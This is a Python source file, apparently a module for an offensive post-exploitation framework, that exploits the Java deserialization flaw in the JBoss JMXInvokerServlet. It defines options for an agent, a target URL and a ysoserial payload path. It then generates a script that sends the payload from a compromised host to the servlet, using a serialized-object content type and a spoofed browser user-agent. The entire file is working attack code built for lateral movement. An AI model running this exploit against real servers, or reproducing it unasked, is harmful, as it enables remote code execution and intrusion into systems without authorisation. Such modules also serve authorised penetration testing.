from builtins import object
class Module(object):

    def __init__(self, mainMenu, params=[]):

        # metadata info about the module, not modified during runtime
        self.info = {
            # name for the module that will appear in module menus
            'Name': 'Jboss JMXInvoker Java Serialization Exploitation',

            # list of one or more authors for the module
            'Author': ['@424f424f'],

            # more verbose multi-line description of the module
            'Description': ('Exploit JBoss java serialization flaw. Requires upload of ysoserial payload.'),

            'Software': '',

            'Techniques': ['T1210'],

            # True if the module needs to run in the background
            'Background' : False,

            # File extension to save the file as
            'OutputExtension' : None,

            # if the module needs administrative privileges
            'NeedsAdmin' : False,

            # True if the method doesn't touch disk/is reasonably opsec safe
            'OpsecSafe' : False,

            # the module language
            'Language' : 'python',

            # the minimum language version needed
            'MinLanguageVersion' : '2.6',

            # list of any references/other comments
            'Comments': ["Generate Payload with https://github.com/frohoff/ysoserial"]
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Agent' : {
                # The 'Agent' option is the only one that MUST be in a module
                'Description'   :   'Agent to execute on.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'URL' : {
                'Description'   :   'URL to JMXInvoker',
                'Required'      :   True,
                'Value'         :   'http://127.0.0.1:8080/invoker/JMXInvokerServlet'
            },
            'Payload' : {
                'Description'   :   'Path to ysoserial payload.',
                'Required'      :   True,
                'Value'         :   ''
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        # During instantiation, any settable option parameters
        #   are passed as an object set to the module and the
        #   options dictionary is automatically set. This is mostly
        #   in case options are passed on the command line
        if params:
            for param in params:
                # parameter format is [Name, Value]
                option, value = param
                if option in self.options:
                    self.options[option]['Value'] = value

    def generate(self, obfuscate=False, obfuscationCommand=""):

        url = self.options['URL']['Value']
        payload = self.options['Payload']['Value']
        # the Python script itself, with the command to invoke
        #   for execution appended to the end. Scripts should output
        #   everything to the pipeline for proper parsing.
        #
        # the script should be stripped of comments, with a link to any
        #   original reference script included in the comments.
        script = """
import urllib2

# Read payload file into variable
try:
    with open('%s', 'rb') as f:
        data=f.read()
except Exception as e:
    print("Failure reading payload: " + str(e))

url = '%s'
try:
    request = urllib2.Request(url, data)
    request.add_header('User-Agent',
                   'Mozilla/6.0 (X11; Linux x86_64; rv:24.0) '
                   'Gecko/20140205     Firefox/27.0 Iceweasel/25.3.0')
    request.add_header('Content-Type', 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue')
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    content = opener.open(request).read()
except Exception as e:
    print("Failure sending payload: " + str(e))

print("Finished")
""" % (payload, url)

        return script
